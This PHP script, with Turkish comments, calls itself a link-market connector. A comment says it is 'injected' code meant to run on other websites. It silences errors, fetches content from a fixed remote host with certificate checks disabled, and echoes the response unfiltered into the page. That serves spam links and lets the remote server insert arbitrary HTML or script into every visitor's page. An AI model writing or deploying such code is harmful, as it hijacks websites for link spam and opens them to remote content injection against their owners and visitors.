/** Link Market Connector v4.2 - Profesyonel / Sunucu uyumlu* • Havuz siteleri code.php'den link çeker; link ekleme/güncellemede cache anında temizlenir. • Tüm linkler dofollow. cURL veya allow_url_fopen ile çalışır (sunucu uyumluluğu). • Kullanım: connector.php?x=SITE_ID (varsayılan 13)*/ // Hata raporlama error_reporting(0); ini_set('display_errors', '0'); // ==================== YAPILANDIRMA ==================== // x parametresi: havuzdaki bu sitenin site_id'si (links.site_id). Yoksa varsayılan 13. $domainname = $_SERVER['HTTP_HOST']; $domainname = str_replace('www.', '', $domainname); $domainname = str_replace('https://', '', $domainname); $domainname = str_replace('http://', '', $domainname); $domainname = str_replace('://', '', $domainname); $domainname = str_replace('//', '', $domainname); $domainname = str_replace('//', '', $domainname); // API adresi: enjekte edilen kod farklı sitede çalışacağı için sabit domain kullan $API_BASE = 'https://hl.buluthit.org/api/getLink.php'; $API_URL = $API_BASE . '/?ref=' . $domainname; //first try curl, if its not working, try file_get_contents then return the result function tryCurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); return $result; } function tryFileGetContents($url) { $result = file_get_contents($url); return $result; } $result = tryCurl($API_URL); if ($result === false) { $result = tryFileGetContents($API_URL); } echo $result;